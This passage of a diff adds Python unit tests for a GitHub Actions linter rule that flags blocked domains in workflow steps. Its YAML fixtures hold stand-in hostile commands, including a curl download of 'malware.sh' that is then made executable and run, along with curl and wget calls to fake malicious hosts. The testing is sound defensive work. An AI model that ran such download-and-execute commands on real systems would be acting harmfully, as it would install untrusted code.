+ curl -o script.sh https://suspicious-domain.org/malware.sh
225
+ chmod +x script.sh
226
+ ./script.sh
227
+ """)
228
+
229
+ step = Step.init(0, "test-job", step_data)
230
+
231
+ success, message = rule.fn(step)
232
+ assert not success, "Step should fail due to blocked domain in run"
233
+ assert "suspicious-domain.org" in message
234
+ assert "step run command" in message
235
+
236
+ def test_step_level_check_blocked_in_with(self, rule):
237
+ """Test step-level checking with blocked domain in with parameters."""
238
+ step_data = yaml.load("""
239
+ name: Configure action
240
+ uses: some/action@v1
241
+ with:
242
+ config_url: https://untrusted-repo.net/config.json
243
+ backup_url: https://malicious-example.com/backup
244
+ """)
245
+
246
+ step = Step.init(0, "test-job", step_data)
247
+
248
+ success, message = rule.fn(step)
249
+ assert not success, "Step should fail due to blocked domains in with"
250
+ assert ("untrusted-repo.net" in message or "malicious-example.com" in message)
251
+ assert ("step with" in message)
252
+
253
+ def test_step_level_check_blocked_in_env(self, rule):
254
+ """Test step-level checking with blocked domain in environment variable."""
255
+ step_data = yaml.load("""
256
+ name: Test step with env
257
+ run: echo "Testing"
258
+ env:
259
+ API_ENDPOINT: https://bad-actor.io/api
260
+ BACKUP_URL: untrusted-repo.net/backup
261
+ """)
262
+
263
+ step = Step.init(0, "test-job", step_data)
264
+
265
+ success, message = rule.fn(step)
266
+ assert not success, "Step should fail due to blocked domain in env"
267
+ assert ("bad-actor.io" in message or "untrusted-repo.net" in message)
268
+ assert "step env" in message
269
+
270
+ def test_multiple_blocked_domains_in_single_step(self, rule):
271
+ """Test step with multiple blocked domains."""
272
+ step_data = yaml.load("""
273
+ name: Multiple blocked domains
274
+ run: |
275
+ curl https://malicious-example.com/file1
276
+ wget https://suspicious-domain.org/file2
277
+ """)
278
+
279
+ step = Step.init(0, "test-job", step_data)
280
+
281
+ success, message = rule.fn(step)
282
+ assert not success, "Step should fail due to multiple blocked domains"
283
+ assert "malicious-example.com" in message
284
+ assert "suspicious-domain.org" in message
285
+
286
+ def test_rule_with_custom_blocked_domains(self):
287
+ """Test rule with custom blocked domains list."""
288
+ custom_settings = Settings(
289
+ blocked_domains=['custom-bad.com', 'another-threat.net']
290
+ )
291
+ custom_rule = RuleCheckBlockedDomains(settings=custom_settings)
292
+
293
+ step_data = yaml.load("""
294
+ name: Test custom domains
295
+ run: curl https://custom-bad.com/script.sh
296
+ """)
297
+
298
+ step = Step.init(0, "test-job", step_data)
299
+
300
+ success, message = custom_rule.fn(step)
301
+ assert not success, "Step should fail with custom blocked domain"
302
+ assert "custom-bad.com" in message
303
+
304
+ def test_rule_compatibility(self, rule):
305
+ """Test that rule is compatible with all object types."""
306
+ assert Workflow in rule.compatibility
307
+ assert Job in rule.compatibility
308
+ assert Step in rule.compatibility
309
+
310
+ def test_rule_lint_level_configuration(self, settings):
311
+ """Test rule with different lint levels."""
312
+ error_rule = RuleCheckBlockedDomains(settings=settings, lint_level=LintLevels.ERROR)
313
+ warning_rule = RuleCheckBlockedDomains(settings=settings, lint_level=LintLevels.WARNING)
314
+
315
+ assert error_rule.on_fail == LintLevels.ERROR
316
+ assert warning_rule.on_fail == LintLevels.WARNING